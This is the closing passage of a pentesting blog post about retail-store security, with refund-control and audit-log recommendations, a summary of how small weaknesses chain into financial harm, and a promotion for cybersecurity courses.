Tying the refund card to the original payment card by default, as a standing rule, closes much of this gap. Cash refunds, or refunds sent to a different card, should remain the exception rather than the norm, strictly regulated and logged separately from everything else.

A dedicated audit log for every refund operation, tied clearly to the cashier’s ID, the receipt number, and the recipient card, makes it possible to review the whole trail later if something looks off.

Summary

Nothing here requires exotic tools or rare expertise. The overall picture is worth taking seriously, because a store is never just a building full of shelves and registers. It functions as a branch of the corporate infrastructure itself, a set of trusted interfaces placed out into public space, right in front of every customer who walks through the door.

But these small, easy to overlook pieces can chain together. Network access can lead to credentials, credentials can lead to internal systems, internal systems can lead to operational data, and operational data can eventually lead to real financial consequences. A useful security assessment in an environment like this does not simply end with a recommendation to close a port and set a stronger password. It ends with a more useful question worth asking. Who decided, at some point along the way, that all of these things should sit within the customer’s reach in the first place?

If you enjoy hacking and would like to get started in cybersecurity, we have created the Cybersecurity Starter Bundle II to equip you with the knowledge and skills needed to begin your journey. If you want to advance your skills even further, our Cyberwarrior Path is made to help you delve deeply into the technology and show you how to break it

The post Pentesting: Hacking the Supermarket first appeared on Hackers Arise.